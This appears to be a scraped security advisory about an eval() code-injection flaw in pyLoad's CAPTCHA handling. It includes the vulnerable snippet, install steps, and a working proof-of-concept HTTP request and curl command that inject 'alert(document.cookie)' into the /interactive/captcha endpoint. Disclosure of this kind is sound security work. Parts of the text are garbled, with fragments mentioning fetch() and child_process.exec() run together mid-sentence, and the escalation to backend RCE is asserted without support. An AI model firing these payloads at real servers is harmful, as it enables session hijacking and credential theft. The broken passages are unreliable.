An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.
The vulnerable code resides in
function onCaptchaResult(result) {
eval(result); // Direct execution of attacker-controlled input
}
onCaptchaResult()
function directly passes CAPTCHA results (sent from the user) into eval()
fetch()
or child_process.exec()
in environments using NodeJSOfficial Source Installation:
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
Virtual Environment:
python -m venv pyload-env
source pyload-env/bin/activate
pip install pyload==0.4.20
pyload
Technical Clarification:
1. The vulnerable endpoint is actually:
/interactive/captcha
Complete PoC Request:
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
cid=123&response=1%3Balert(document.cookie)
Curl Command Correction:
curl -X POST "http://localhost:8000/interactive/captcha" \
-d "cid=123&response=1%3Balert(document.cookie)"
Vulnerable Code Location:
The eval() vulnerability is confirmed in:
src/pyload/webui/app/static/js/captcha-interactive.user.js
eval()
{ "github_reviewed_at": "2025-07-15T15:38:10Z", "cwe_ids": [ "CWE-79", "CWE-94" ], "severity": "CRITICAL", "github_reviewed": true, "nvd_published_at": "2025-07-15T00:15:24Z" }